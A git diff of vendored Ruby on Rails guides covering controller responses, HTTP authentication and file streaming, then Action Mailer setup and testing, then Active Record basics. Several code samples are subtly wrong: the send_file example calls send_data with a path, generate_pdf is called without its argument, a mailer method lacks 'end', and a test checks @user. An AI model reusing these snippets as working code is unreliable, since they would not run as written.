+The response object is not usually used directly, but is built up during the execution of the action and rendering of the data that is being sent back to the user, but sometimes - like in an after filter - it can be useful to access the response directly. Some of these accessor methods also have setters, allowing you to change their values.
+
+|_.Property of +response+|_.Purpose|
+|body|This is the string of data being sent back to the client. This is most often HTML.|
+|status|The HTTP status code for the response, like 200 for a successful request or 404 for file not found.|
+|location|The URL the client is being redirected to, if any.|
+|content_type|The content type of the response.|
+|charset|The character set being used for the response. Default is "utf-8".|
+|headers|Headers used for the response.|
+
+h5. Setting custom headers
+
+If you want to set custom headers for a response then +response.headers+ is the place to do it. The headers attribute is a hash which maps header names to their values, and Rails will set some of them automatically. If you want to add or change a header, just assign it to +response.headers+ this way:
+
+
+response.headers["Content-Type"] = "application/pdf"
+
+
+h3. HTTP Authentications
+
+Rails comes with two built-in HTTP authentication mechanisms:
+
+* Basic Authentication
+* Digest Authentication
+
+h4. HTTP basic authentication
+
+HTTP basic authentication is an authentication scheme that is supported by the majority of browsers and other HTTP clients. As an example, consider an administration section which will only be available by entering a username and a password into the browser's HTTP basic dialog window. Using the built-in authentication is quite easy and only requires you to use one method, +authenticate_or_request_with_http_basic+.
+
+
+class AdminController < ApplicationController
+  USERNAME, PASSWORD = "humbaba", "5baa61e4"
+
+  before_filter :authenticate
+
+private
+  def authenticate
+    authenticate_or_request_with_http_basic do |username, password|
+      username == USERNAME &&
+      Digest::SHA1.hexdigest(password) == PASSWORD
+    end
+  end
+end
+
+
+With this in place, you can create namespaced controllers that inherit from +AdminController+. The before filter will thus be run for all actions in those controllers, protecting them with HTTP basic authentication.
+
+h4. HTTP digest authentication
+
+HTTP digest authentication is superior to the basic authentication as it does not require the client to send an unencrypted password over the network (though HTTP basic authentication is safe over HTTPS). Using digest authentication with Rails is quite easy and only requires using one method, +authenticate_or_request_with_http_digest+.
+
+
+class AdminController < ApplicationController
+  USERS = { "lifo" => "world" }
+
+  before_filter :authenticate
+
+private
+  def authenticate
+    authenticate_or_request_with_http_digest do |username|
+      USERS[username]
+    end
+  end
+end
+
+
+As seen in the example above, the +authenticate_or_request_with_http_digest+ block takes only one argument - the username. And the block returns the password. Returning +false+ or +nil+ from the +authenticate_or_request_with_http_digest+ will cause authentication failure.
+
+h3. Streaming and File Downloads
+
+Sometimes you may want to send a file to the user instead of rendering an HTML page. All controllers in Rails have the +send_data+ and the +send_file+ methods, which will both stream data to the client. +send_file+ is a convenience method that lets you provide the name of a file on the disk and it will stream the contents of that file for you.
+
+To stream data to the client, use +send_data+:
+
+
+require "prawn"
+class ClientsController < ApplicationController
+  # Generates a PDF document with information on the client and
+  # returns it. The user will get the PDF as a file download.
+  def download_pdf
+    client = Client.find(params[:id])
+    send_data(generate_pdf, 
+              :filename => "#{client.name}.pdf",
+              :type => "application/pdf")
+  end
+
+private
+
+  def generate_pdf(client)
+    Prawn::Document.new do
+      text client.name, :align => :center
+      text "Address: #{client.address}"
+      text "Email: #{client.email}"
+    end.render
+  end
+end
+
+
+The +download_pdf+ action in the example above will call a private method which actually generates the PDF document and returns it as a string. This string will then be streamed to the client as a file download and a filename will be suggested to the user. Sometimes when streaming files to the user, you may not want them to download the file. Take images, for example, which can be embedded into HTML pages. To tell the browser a file is not meant to be downloaded, you can set the +:disposition+ option to "inline". The opposite and default value for this option is "attachment".
+
+h4. Sending files
+
+If you want to send a file that already exists on disk, use the +send_file+ method.
+
+
+class ClientsController < ApplicationController
+  # Stream a file that has already been generated and stored on disk.
+  def download_pdf
+    client = Client.find(params[:id])
+    send_data("#{RAILS_ROOT}/files/clients/#{client.id}.pdf",
+              :filename => "#{client.name}.pdf",
+              :type => "application/pdf")
+  end
+end
+
+
+This will read and stream the file 4kB at the time, avoiding loading the entire file into memory at once. You can turn off streaming with the +:stream+ option or adjust the block size with the +:buffer_size+ option.
+
+WARNING: Be careful when using data coming from the client (params, cookies, etc.) to locate the file on disk, as this is a security risk that might allow someone to gain access to files they are not meant to see.
+
+TIP: It is not recommended that you stream static files through Rails if you can instead keep them in a public folder on your web server. It is much more efficient to let the user download the file directly using Apache or another web server, keeping the request from unnecessarily going through the whole Rails stack. Although if you do need the request to go through Rails for some reason, you can set the +:x_sendfile+ option to true, and Rails will let the web server handle sending the file to the user, freeing up the Rails process to do other things. Note that your web server needs to support the +X-Sendfile+ header for this to work.
+
+h4. RESTful downloads
+
+While +send_data+ works just fine, if you are creating a RESTful application having separate actions for file downloads is usually not necessary. In REST terminology, the PDF file from the example above can be considered just another representation of the client resource. Rails provides an easy and quite sleek way of doing "RESTful downloads". Here's how you can rewrite the example so that the PDF download is a part of the +show+ action, without any streaming:
+
+
+class ClientsController < ApplicationController
+  # The user can request to receive this resource as HTML or PDF.
+  def show
+    @client = Client.find(params[:id])
+
+    respond_to do |format|
+      format.html
+      format.pdf { render :pdf => generate_pdf(@client) }
+    end
+  end
+end
+
+
+In order for this example to work, you have to add the PDF MIME type to Rails. This can be done by adding the following line to the file +config/initializers/mime_types.rb+:
+
+
+Mime::Type.register "application/pdf", :pdf
+
+
+NOTE: Configuration files are not reloaded on each request, so you have to restart the server in order for their changes to take effect.
+
+Now the user can request to get a PDF version of a client just by adding ".pdf" to the URL:
+
+
+GET /clients/1.pdf
+
+
+h3. Parameter Filtering
+
+Rails keeps a log file for each environment in the +log+ folder. These are extremely useful when debugging what's actually going on in your application, but in a live application you may not want every bit of information to be stored in the log file. The +filter_parameter_logging+ method can be used to filter out sensitive information from the log. It works by replacing certain values in the +params+ hash with "[FILTERED]" as they are written to the log. As an example, let's see how to filter all parameters with keys that include "password":
+
+
+class ApplicationController < ActionController::Base
+  filter_parameter_logging :password
+end
+
+
+The method works recursively through all levels of the +params+ hash and takes an optional second parameter which is used as the replacement string if present. It can also take a block which receives each key in turn and replaces those for which the block returns true.
+
+h3. Rescue
+
+Most likely your application is going to contain bugs or otherwise throw an exception that needs to be handled. For example, if the user follows a link to a resource that no longer exists in the database, Active Record will throw the +ActiveRecord::RecordNotFound+ exception.
+
+Rails' default exception handling displays a "500 Server Error" message for all exceptions. If the request was made locally, a nice traceback and some added information gets displayed so you can figure out what went wrong and deal with it. If the request was remote Rails will just display a simple "500 Server Error" message to the user, or a "404 Not Found" if there was a routing error or a record could not be found. Sometimes you might want to customize how these errors are caught and how they're displayed to the user. There are several levels of exception handling available in a Rails application:
+
+h4. The default 500 and 404 templates
+
+By default a production application will render either a 404 or a 500 error message. These messages are contained in static HTML files in the +public+ folder, in +404.html+ and +500.html+ respectively. You can customize these files to add some extra information and layout, but remember that they are static; i.e. you can't use RHTML or layouts in them, just plain HTML.
+
+h4. +rescue_from+
+
+If you want to do something a bit more elaborate when catching errors, you can use +rescue_from+, which handles exceptions of a certain type (or multiple types) in an entire controller and its subclasses.
+
+When an exception occurs which is caught by a +rescue_from+ directive, the exception object is passed to the handler. The handler can be a method or a +Proc+ object passed to the +:with+ option. You can also use a block directly instead of an explicit +Proc+ object.
+
+Here's how you can use +rescue_from+ to intercept all +ActiveRecord::RecordNotFound+ errors and do something with them.
+
+
+class ApplicationController < ActionController::Base
+  rescue_from ActiveRecord::RecordNotFound, :with => :record_not_found
+
+private
+  def record_not_found
+    render :text => "404 Not Found", :status => 404
+  end
+end
+
+
+Of course, this example is anything but elaborate and doesn't improve on the default exception handling at all, but once you can catch all those exceptions you're free to do whatever you want with them. For example, you could create custom exception classes that will be thrown when a user doesn't have access to a certain section of your application:
+
+
+class ApplicationController < ActionController::Base
+  rescue_from User::NotAuthorized, :with => :user_not_authorized
+
+private
+  def user_not_authorized
+    flash[:error] = "You don't have access to this section."
+    redirect_to :back
+  end
+end
+
+class ClientsController < ApplicationController
+  # Check that the user has the right authorization to access clients.
+  before_filter :check_authorization
+
+  # Note how the actions don't have to worry about all the auth stuff.
+  def edit
+    @client = Client.find(params[:id])
+  end
+
+private
+  # If the user is not authorized, just throw the exception.
+  def check_authorization
+    raise User::NotAuthorized unless current_user.admin?
+  end
+end
+
+
+NOTE: Certain exceptions are only rescuable from the +ApplicationController+ class, as they are raised before the controller gets initialized and the action gets executed. See Pratik Naik's "article":http://m.onkey.org/2008/7/20/rescue-from-dispatching on the subject for more information.
+
+h3. Changelog
+
+"Lighthouse Ticket":http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/17
+
+* February 17, 2009: Yet another proofread by Xavier Noria.
+
+* November 4, 2008: First release version by Tore Darell
diff --git a/vendor/rails/railties/guides/source/action_mailer_basics.textile b/vendor/rails/railties/guides/source/action_mailer_basics.textile
new file mode 100644
index 00000000..71398382
--- /dev/null
+++ b/vendor/rails/railties/guides/source/action_mailer_basics.textile
@@ -0,0 +1,388 @@
+h2. Action Mailer Basics
+
+This guide should provide you with all you need to get started in sending and receiving emails from/to your application, and many internals of Action Mailer. It also covers how to test your mailers.
+
+endprologue.
+
+h3. Introduction
+
+Action Mailer allows you to send emails from your application using a mailer model and views. So, in Rails, emails are used by creating models that inherit from +ActionMailer::Base+ that live alongside other models in +app/models+. Those models have associated views that appear alongside controller views in +app/views+.
+
+h3. Sending Emails
+
+This section will provide a step-by-step guide to creating a mailer and its views.
+
+h4. Walkthrough to generating a mailer
+
+h5. Create the mailer:
+
+
+./script/generate mailer UserMailer
+exists  app/models/
+create  app/views/user_mailer
+exists  test/unit/
+create  test/fixtures/user_mailer
+create  app/models/user_mailer.rb
+create  test/unit/user_mailer_test.rb
+
+
+So we got the model, the fixtures, and the tests.
+
+h5. Edit the model:
+
++app/models/user_mailer.rb+ contains an empty mailer:
+
+
+class UserMailer < ActionMailer::Base
+end
+
+
+Let's add a method called +welcome_email+, that will send an email to the user's registered email address:
+
+
+class UserMailer < ActionMailer::Base
+  def welcome_email(user)
+    recipients    user.email
+    from          "My Awesome Site Notifications "
+    subject       "Welcome to My Awesome Site"
+    sent_on       Time.now
+    body          {:user => user, :url => "http://example.com/login"}
+  end
+end
+
+
+Here is a quick explanation of the options presented in the preceding method. For a full list of all available options, please have a look further down at the Complete List of ActionMailer user-settable attributes section.
+
+|recipients| The recipients of the email. It can be a string or, if there are multiple recipients, an array of strings|
+|from| The from address of the email|
+|subject| The subject of the email|
+|sent_on| The timestamp for the email|
+
+The keys of the hash passed to +body+ become instance variables in the view. Thus, in our example the mailer view will have a +@user+ and a +@url+ instance variables available.
+
+h5. Create a mailer view
+
+Create a file called +welcome_email.text.html.erb+ in +app/views/user_mailer/+. This will be the template used for the email, formatted in HTML:
+
+
+
+
+  
+    
+  
+  
+    
Welcome to example.com, <%=h @user.first_name %>

+    

+      You have successfully signed up to example.com, and your username is: <%= @user.login %>.

+      To login to the site, just follow this link: <%=h @url %>.
+    

+    
Thanks for joining and have a great day!

+  
+
+
+
+Had we wanted to send text-only emails, the file would have been called +welcome_email.text.plain.erb+. Rails sets the content type of the email to be the one in the filename.
+
+h5. Wire it up so that the system sends the email when a user signs up
+
+There are three ways to achieve this. One is to send the email from the controller that sends the email, another is to put it in a +before_create+ callback in the user model, and the last one is to use an observer on the user model. Whether you use the second or third methods is up to you, but staying away from the first is recommended. Not because it's wrong, but because it keeps your controller clean, and keeps all logic related to the user model within the user model. This way, whichever way a user is created (from a web form, or from an API call, for example), we are guaranteed that the email will be sent.
+
+Let's see how we would go about wiring it up using an observer:
+
+In +config/environment.rb+:
+
+
+Rails::Initializer.run do |config|
+  # ...
+  config.active_record.observers = :user_observer
+end
+
+
+You can place the observer in +app/models+ where it will be loaded automatically by Rails.
+
+Now create a file called +user_observer.rb+ in +app/models+ depending on where you stored it, and make it look like:
+
+
+class UserObserver < ActiveRecord::Observer
+  def after_create(user)
+    UserMailer.deliver_welcome_email(user)
+  end
+end
+
+
+Notice how we call +deliver_welcome_email+? In Action Mailer we send emails by calling +deliver_<method_name>+. In UserMailer, we defined a method called +welcome_email+, and so we deliver the email by calling +deliver_welcome_email+. The next section will go through how Action Mailer achieves this.
+
+h4. Action Mailer and dynamic deliver_<method_name> methods
+
+So how does Action Mailer understand this +deliver_welcome_email+ call? If you read the documentation (http://api.rubyonrails.org/files/vendor/rails/actionmailer/README.html), you will find this in the "Sending Emails" section:
+
+You never instantiate your mailer class. Rather, your delivery instance methods are automatically wrapped in class methods that start with the word +deliver_+ followed by the name of the mailer method that you would like to deliver.
+
+So, how exactly does this work?
+
+Looking at the +ActionMailer::Base+ source, you will find this:
+
+
+def method_missing(method_symbol, *parameters)#:nodoc:
+  case method_symbol.id2name
+    when /^create_([_a-z]\w*)/  then new($1, *parameters).mail
+    when /^deliver_([_a-z]\w*)/ then new($1, *parameters).deliver!
+    when "new" then nil
+    else super
+  end
+end
+
+
+Hence, if the method name starts with +deliver_+ followed by any combination of lowercase letters or underscore, +method_missing+  calls +new+ on your mailer class (+UserMailer+ in our example above), sending the combination of lower case letters or underscore, along with the parameters. The resulting object is then sent the +deliver!+ method, which well... delivers it.
+
+h4. Complete list of Action Mailer user-settable attributes
+
+|bcc| The BCC addresses of the email|
+|body| The body of the email. This is either a hash (in which case it specifies the variables to pass to the template when it is rendered), or a string, in which case it specifies the actual body of the message|
+|cc| The CC addresses for the email|
+|charset| The charset to use for the email. This defaults to the +default_charset+ specified for ActionMailer::Base.|
+|content_type| The content type for the email. This defaults to "text/plain" but the filename may specify it|
+|from| The from address of the email|
+|reply_to| The address (if different than the "from" address) to direct replies to this email|
+|headers| Additional headers to be added to the email|
+|implicit_parts_order| The order in which parts should be sorted, based on the content type. This defaults to the value of +default_implicit_parts_order+|
+|mime_version| Defaults to "1.0", but may be explicitly given if needed|
+|recipient| The recipient addresses of the email, either as a string (for a single address) or an array of strings (for multiple addresses)|
+|sent_on| The timestamp on which the message was sent. If unset, the header will be set by the delivery agent|
+|subject| The subject of the email|
+|template| The template to use. This is the "base" template name, without the extension or directory, and may be used to have multiple mailer methods share the same template|
+
+h4. Mailer Views
+
+Mailer views are located in the +app/views/name_of_mailer_class+ directory. The specific mailer view is known to the class because it's name is the same as the mailer method. So for example, in our example from above, our mailer view for the +welcome_email+ method will be in +app/views/user_mailer/welcome_email.text.html.erb+ for the HTML version and +welcome_email.text.plain.erb+ for the plain text version.
+
+To change the default mailer view for your action you do something like:
+
+
+class UserMailer < ActionMailer::Base
+  def welcome_email(user)
+    recipients    user.email
+    from          "My Awesome Site Notifications"
+    subject       "Welcome to My Awesome Site"
+    sent_on       Time.now
+    body          {:user => user, :url => "http://example.com/login"}
+    content_type  "text/html"
+    # use some_other_template.text.(html|plain).erb instead
+    template "some_other_template"
+end
+
+
+h4. Action Mailer Layouts
+
+Just like controller views, you can also have mailer layouts. The layout name needs to end in "_mailer" to be automatically recognized by your mailer as a layout. So in our UserMailer example, we need to call our layout +user_mailer.text.(html|plain).erb+. In order to use a different file just use:
+
+
+class UserMailer < ActionMailer::Base
+  layout 'awesome' # use awesome.text.(html|plain).erb as the layout
+end
+
+
+Just like with controller views, use +yield+ to render the view inside the layout.
+
+h4. Generating URLs in Action Mailer views
+
+URLs can be generated in mailer views using +url_for+ or named routes.
+Unlike controllers, the mailer instance doesn't have any context about the incoming request so you'll need to provide the +:host+, +:controller+, and +:action+:
+
+
+<%= url_for(:host => "example.com", :controller => "welcome", :action => "greeting") %>
+
+
+When using named routes you only need to supply the +:host+:
+
+
+<%= users_url(:host => "example.com") %>
+
+
+Email clients have no web context and so paths have no base URL to form complete web addresses. Thus, when using named routes only the "_url" variant makes sense.
+
+It is also possible to set a default host that will be used in all mailers by setting the +:host+ option in
+the +ActionMailer::Base.default_url_options+ hash as follows:
+
+
+ActionMailer::Base.default_url_options[:host] = "example.com"
+
+
+This can also be set as a configuration option in +config/environment.rb+:
+
+
+config.action_mailer.default_url_options = { :host => "example.com" }
+
+
+If you set a default +:host+ for your mailers you need to pass +:only_path => false+ to +url_for+. Otherwise it doesn't get included.
+
+h4. Sending multipart emails
+
+Action Mailer will automatically send multipart emails if you have different templates for the same action. So, for our UserMailer example, if you have +welcome_email.text.plain.erb+ and +welcome_email.text.html.erb+ in +app/views/user_mailer+, Action Mailer will automatically send a multipart email with the HTML and text versions setup as different parts.
+
+To explicitly specify multipart messages, you can do something like:
+
+
+class UserMailer < ActionMailer::Base
+  def welcome_email(user)
+    recipients      user.email_address
+    subject         "New account information"
+    from            "system@example.com"
+    content_type    "multipart/alternative"
+
+    part :content_type => "text/html",
+      :body => "
html content, can also be the name of an action that you call
"
+
+    part "text/plain" do |p|
+      p.body = "text content, can also be the name of an action that you call"
+    end
+  end
+end
+
+
+h4. Sending emails with attachments
+
+Attachments can be added by using the +attachment+ method:
+
+
+class UserMailer < ActionMailer::Base
+  def welcome_email(user)
+    recipients      user.email_address
+    subject         "New account information"
+    from            "system@example.com"
+    content_type    "multipart/alternative"
+
+    attachment :content_type => "image/jpeg",
+      :body => File.read("an-image.jpg")
+
+    attachment "application/pdf" do |a|
+      a.body = generate_your_pdf_here()
+    end
+  end
+end
+
+
+h3. Receiving Emails
+
+Receiving and parsing emails with Action Mailer can be a rather complex endeavour. Before your email reaches your Rails app, you would have had to configure your system to somehow forward emails to your app, which needs to be listening for that. So, to receive emails in your Rails app you'll need:
+
+1. Implement a +receive+ method in your mailer.
+
+2. Configure your email server to forward emails from the address(es) you would like your app to receive to +/path/to/app/script/runner 'UserMailer.receive(STDIN.read)'+.
+
+Once a method called +receive+ is defined in any mailer, Action Mailer will parse the raw incoming email into an email object, decode it, instantiate a new mailer, and pass the email object to the mailer +receive+ instance method. Here's an example:
+
+
+class UserMailer < ActionMailer::Base
+  def receive(email)
+    page = Page.find_by_address(email.to.first)
+    page.emails.create(
+      :subject => email.subject,
+      :body => email.body
+    )
+
+    if email.has_attachments?
+      for attachment in email.attachments
+        page.attachments.create({
+          :file => attachment,
+          :description => email.subject
+        })
+      end
+    end
+  end
+end
+
+
+h3. Using Action Mailer Helpers
+
+Action Mailer classes have 4 helper methods available to them:
+
+|add_template_helper(helper_module)|Makes all the (instance) methods in the helper module available to templates rendered through this controller.|
+|helper(*args, &block)| Declare a helper: helper :foo requires 'foo_helper' and includes FooHelper in the template class.  helper FooHelper includes FooHelper in the template class.  helper { def foo() "#{bar} is the very best" end } evaluates the block in the template class, adding method foo.  helper(:three, BlindHelper) { def mice() 'mice' end } does all three. |
+|helper_method| Declare a controller method as a helper.  For example, helper_method :link_to def link_to(name, options) ... end makes the link_to controller method available in the view.|
+|helper_attr| Declare a controller attribute as a helper.  For example, helper_attr :name attr_accessor :name makes the name and name= controller methods available in the view.  The is a convenience wrapper for helper_method.|
+
+h3. Action Mailer Configuration
+
+The following configuration options are best made in one of the environment files (environment.rb, production.rb, etc...)
+
+|template_root|Determines the base from which template references will be made.|
+|logger|the logger is used for generating information on the mailing run if available. Can be set to nil for no logging. Compatible with both Ruby's own Logger and Log4r loggers.|
+|smtp_settings|Allows detailed configuration for :smtp delivery method: :address - Allows you to use a remote mail server. Just change it from its default "localhost" setting.  :port  - On the off chance that your mail server doesn't run on port 25, you can change it.  :domain - If you need to specify a HELO domain, you can do it here.  :user_name - If your mail server requires authentication, set the username in this setting.  :password - If your mail server requires authentication, set the password in this setting.  :authentication - If your mail server requires authentication, you need to specify the authentication type here. This is a symbol and one of :plain, :login, :cram_md5.|
+|sendmail_settings|Allows you to override options for the :sendmail delivery method.  :location - The location of the sendmail executable. Defaults to /usr/sbin/sendmail.  :arguments - The command line arguments. Defaults to -i -t.|
+|raise_delivery_errors|Whether or not errors should be raised if the email fails to be delivered.|
+|delivery_method|Defines a delivery method. Possible values are :smtp (default), :sendmail, and :test.|
+|perform_deliveries|Determines whether deliver_* methods are actually carried out. By default they are, but this can be turned off to help functional testing.|
+|deliveries|Keeps an array of all the emails sent out through the Action Mailer with delivery_method :test. Most useful for unit and functional testing.|
+|default_charset|The default charset used for the body and to encode the subject. Defaults to UTF-8. You can also  pick a different charset from inside a method with charset.|
+|default_content_type|The default content type used for the main part of the message. Defaults to "text/plain". You can also pick a different content type from inside a method with content_type.|
+|default_mime_version|The default mime version used for the message. Defaults to 1.0. You can also pick a different value from inside a method with mime_version.|
+|default_implicit_parts_order|When a message is built implicitly (i.e. multiple parts are assembled from templates which specify the content type in their filenames) this variable controls how the parts are ordered. Defaults to ["text/html", "text/enriched", "text/plain"]. Items that appear first in the array have higher priority in the mail client and appear last in the mime encoded message. You can also pick a different order from inside a method with implicit_parts_order.|
+
+
+h4. Example Action Mailer configuration
+
+An example would be:
+
+
+ActionMailer::Base.delivery_method = :sendmail
+ActionMailer::Base.sendmail_settings = {
+  :location => '/usr/sbin/sendmail',
+  :arguments => '-i -t'
+}
+ActionMailer::Base.perform_deliveries = true
+ActionMailer::Base.raise_delivery_errors = true
+ActionMailer::Base.default_charset = "iso-8859-1"
+
+
+h4. Action Mailer Configuration for GMail
+
+Instructions copied from http://http://www.fromjavatoruby.com/2008/11/actionmailer-with-gmail-must-issue.html
+
+First you must install the +action_mailer_tls+ plugin from http://code.openrain.com/rails/action_mailer_tls/, then all you have to do is configure action mailer.
+
+
+ActionMailer::Base.smtp_settings = {
+  :address        => "smtp.gmail.com",
+  :port           => 587,
+  :domain         => "domain.com",
+  :user_name      => "user@domain.com",
+  :password       => "password",
+  :authentication => :plain
+}
+
+
+h4. Configure Action Mailer to recognize HAML templates
+
+In +config/environment.rb+, add the following line:
+
+
+ActionMailer::Base.register_template_extension('haml')
+
+
+h3. Mailer Testing
+
+By default Action Mailer does not send emails in the test environment. They are just added to the +ActionMailer::Base.deliveries+ array.
+
+Testing mailers normally involves two things: One is that the mail was queued, and the other one that the email is correct. With that in mind, we could test our example mailer from above like so:
+
+
+class UserMailerTest < ActionMailer::TestCase
+  tests UserMailer
+
+  def test_welcome_email
+    user = users(:some_user_in_your_fixtures)
+
+    # Send the email, then test that it got queued
+    email = UserMailer.deliver_welcome_email(user)
+    assert !ActionMailer::Base.deliveries.empty?
+
+    # Test the body of the sent email contains what we expect it to
+    assert_equal [@user.email], email.to
+    assert_equal "Welcome to My Awesome Site", email.subject
+    assert_match /Welcome to example.com, #{user.first_name}/, email.body
+  end
+end
+
+
+In the test we send the email and store the returned object in the +email+ variable. We then ensure that it was sent (the first assert), then, in the second batch of assertions, we ensure that the email does indeed contain the what we expect.
diff --git a/vendor/rails/railties/doc/guides/source/active_record_basics.txt b/vendor/rails/railties/guides/source/active_record_basics.textile
similarity index 60%
rename from vendor/rails/railties/doc/guides/source/active_record_basics.txt
rename to vendor/rails/railties/guides/source/active_record_basics.textile
index 2336e162..ed3f6cdd 100644
--- a/vendor/rails/railties/doc/guides/source/active_record_basics.txt
+++ b/vendor/rails/railties/guides/source/active_record_basics.textile
@@ -1,5 +1,4 @@
-Active Record Basics
-====================
+h2. Active Record Basics
 
 This guide will give you a strong grasp of the Active Record pattern and how it can be used with or without Rails. Hopefully, some of the philosophical and theoretical intentions discussed here will also make you a stronger and better developer.
 
@@ -9,12 +8,14 @@ After reading this guide we hope that you'll be able to:
 * Create basic Active Record models and map them with your database tables.
 * Use your models to execute CRUD (Create, Read, Update and Delete) database operations.
 * Follow the naming conventions used by Rails to make developing database applications easier and obvious.
-* Take advantage of the way Active Record maps it's attributes with the database tables' columns to implement your application's logic. 
+* Take advantage of the way Active Record maps it's attributes with the database tables' columns to implement your application's logic.
 * Use Active Record with legacy databases that do not follow the Rails naming conventions.
 
-== What's Active Record
+endprologue.
 
-Rails' ActiveRecord is an implementation of Martin Fowler's http://martinfowler.com/eaaCatalog/activeRecord.html[Active Record Design Pattern]. This pattern is based on the idea of creating relations between the database and the application in the following way:
+h3. What's Active Record?
+
+Rails' ActiveRecord is an implementation of Martin Fowler's "Active Record Design Pattern":http://martinfowler.com/eaaCatalog/activeRecord.html. This pattern is based on the idea of creating relations between the database and the application in the following way:
 
 * Each database table is mapped to a class.
 * Each table column is mapped to an attribute of this class.
@@ -22,120 +23,113 @@ Rails' ActiveRecord is an implementation of Martin Fowler's http://martinfowler.
 
 The definition of the Active Record pattern in Martin Fowler's words:
 
-"_An object that wraps a row in a database table or view, encapsulates the database access, and adds domain logic on that data."_
+??An object that wraps a row in a database table or view, encapsulates the database access, and adds domain logic on that data.??
 
-== Object Relational Mapping
+h3. Object Relational Mapping
 
-The relation between databases and object-oriented software is called ORM, which is short for "Object Relational Mapping". The purpose of an ORM framework is to minimize the mismatch existent between relational databases and object-oriented software. In applications with a domain model, we have objects that represent both the state of the system and the behaviour of the real world elements that were modeled through these objects. Since we need to store the system's state somehow, we can use relational databases, which are proven to be an excelent approach to data management. Usually this may become a very hard thing to do, since we need to create an object-oriented model of everything that lives in the database, from simple columns to complicated relations between different tables. Doing this kind of thing by hand is a tedious and error prone job. This is where an ORM framework comes in.
+The relation between databases and object-oriented software is called ORM, which is short for "Object Relational Mapping". The purpose of an ORM framework is to minimize the mismatch existent between relational databases and object-oriented software. In applications with a domain model, we have objects that represent both the state of the system and the behavior of the real world elements that were modeled through these objects. Since we need to store the system's state somehow, we can use relational databases, which are proven to be an excellent approach to data management. Usually this may become a very hard thing to do, since we need to create an object-oriented model of everything that lives in the database, from simple columns to complicated relations between different tables. Doing this kind of thing by hand is a tedious and error prone job. This is where an ORM framework comes in.
 
-== ActiveRecord as an ORM framework
+h3. ActiveRecord as an ORM framework
 
-ActiveRecord gives us several mechanisms, being the most important ones the hability to:
+ActiveRecord gives us several mechanisms, being the most important ones the ability to:
 
 * Represent models.
 * Represent associations between these models.
-* Represent inheritance hierarquies through related models.
+* Represent inheritance hierarchies through related models.
 * Validate models before they get recorded to the database.
 * Perform database operations in an object-oriented fashion.
 
-It's easy to see that the Rails Active Record implementation goes way beyond the basic description of the Active Record Pattern. 
+It's easy to see that the Rails Active Record implementation goes way beyond the basic description of the Active Record Pattern.
 
-== Active Record inside the MVC model
+h3. Active Record inside the MVC model
 
-Active Record plays the role of model inside the MVC structure followed by Rails applications. Since model objects should encapsulate both state and logic of your applications, it's ActiveRecord responsability to deliver you the easiest possible way to recover this data from the database.
+Active Record plays the role of model inside the MVC structure followed by Rails applications. Since model objects should encapsulate both state and logic of your applications, it's ActiveRecord responsibility to deliver you the easiest possible way to recover this data from the database.
 
-== Convention over Configuration in ActiveRecord
+h3. Convention over Configuration in ActiveRecord
 
-When writing applications using other programming languages or frameworks, it may be necessary to write a lot of configuration code. This is particulary true for ORM frameworks in general. However, if you follow the conventions adopted by Rails, you'll need to write very little configuration (in some case no configuration at all) when creating ActiveRecord models. The idea is that if you configure your applications in the very same way most of the times then this should be the default way. In this cases, explicity configuration would be needed only in those cases where you can't follow the conventions for any reason.
+When writing applications using other programming languages or frameworks, it may be necessary to write a lot of configuration code. This is particularly true for ORM frameworks in general. However, if you follow the conventions adopted by Rails, you'll need to write very little configuration (in some case no configuration at all) when creating ActiveRecord models. The idea is that if you configure your applications in the very same way most of the times then this should be the default way. In this cases, explicit configuration would be needed only in those cases where you can't follow the conventions for any reason.
 
-=== Naming Conventions
+h4. Naming Conventions
 
 By default, ActiveRecord uses some naming conventions to find out how the mapping between models and database tables should be created. Rails will pluralize your class names to find the respective database table. So, for a class +Book+, you should have a database table called *books*. The Rails pluralization mechanisms are very powerful, being capable to pluralize (and singularize) both regular and irregular words. When using class names composed of two or more words, the model class name should follow the Ruby conventions, using the camelCase form, while the table name must contain the words separated by underscores. Examples:
 
 * Database Table - Plural with underscores separating words i.e. (book_clubs)
-* Model Class - Singular with the first letter of each word capitalized i.e. (BookClub) 
+* Model Class - Singular with the first letter of each word capitalized i.e. (BookClub)
 
-[width="60%", options="header"]
-|==============================
-|Model / Class |Table / Schema 
-|Post          |posts
-|LineItem      |line_items
-|Deer          |deer
-|Mouse         |mice
-|Person        |people
-|==============================
+|_.Model / Class |_.Table / Schema |
+|Post          |posts|
+|LineItem      |line_items|
+|Deer          |deer|
+|Mouse         |mice|
+|Person        |people|
 
-=== Schema Conventions
+
+h4. Schema Conventions
 
 ActiveRecord uses naming conventions for the columns in database tables, depending on the purpose of these columns.
 
 * *Foreign keys* - These fields should be named following the pattern table_id i.e. (item_id, order_id). These are the fields that ActiveRecord will look for when you create associations between your models.
-* *Primary keys* - By default, ActiveRecord will use a integer column named "id" as the table's primary key. When using http://guides.rails.info/migrations.html[Rails Migrations] to create your tables, this column will be automaticaly created.
+* *Primary keys* - By default, ActiveRecord will use a integer column named "id" as the table's primary key. When using "Rails Migrations":http://guides.rails.info/migrations.html to create your tables, this column will be automatically created.
 
 There are also some optional column names that will create additional features to ActiveRecord instances:
 
 * *created_at / created_on* - ActiveRecord will store the current date and time to this field when creating the record.
 * *updated_at / updated_on* - ActiveRecord will store the current date and times to this field when updating the record.
-* *lock_version* - Adds http://api.rubyonrails.com/classes/ActiveRecord/Locking.html[optimistic locking] to a model.
-* *type* - Specifies that the model uses http://api.rubyonrails.com/classes/ActiveRecord/Base.html[Single Table Inheritance]
+* *lock_version* - Adds "optimistic locking":http://api.rubyonrails.com/classes/ActiveRecord/Locking.html to a model.
+* *type* - Specifies that the model uses "Single Table Inheritance":http://api.rubyonrails.com/classes/ActiveRecord/Base.html
 * *(table_name)_count* - Used to cache the number of belonging objects on associations. For example, a +comments_count+ column in a +Post+ class that has many instances of +Comment+ will cache the number of existent comments for each post.
 
 NOTE: While these column names are optional they are in fact reserved by ActiveRecord. Steer clear of reserved keywords unless you want the extra functionality. For example, "type" is a reserved keyword used to designate a table using Single Table Inheritance. If you are not using STI, try an analogous keyword like "context", that may still accurately describe the data you are modeling.
 
-== Creating ActiveRecord models
+h3. Creating ActiveRecord models
 
 It's very easy to create ActiveRecord models. All you have to do is to subclass the ActiveRecord::Base class and you're good to go:
 
-[source, ruby]
-------------------------------------------------------------------
+
 class Product < ActiveRecord::Base; end
-------------------------------------------------------------------
+
 
-This will create a +Product+ model, mapped to a *products* table at the database. By doing this you'll also have the hability to map the columns of each row in that table with the attributes of the instances of your model. So, suppose that the *products* table was created using a SQL sentence like:
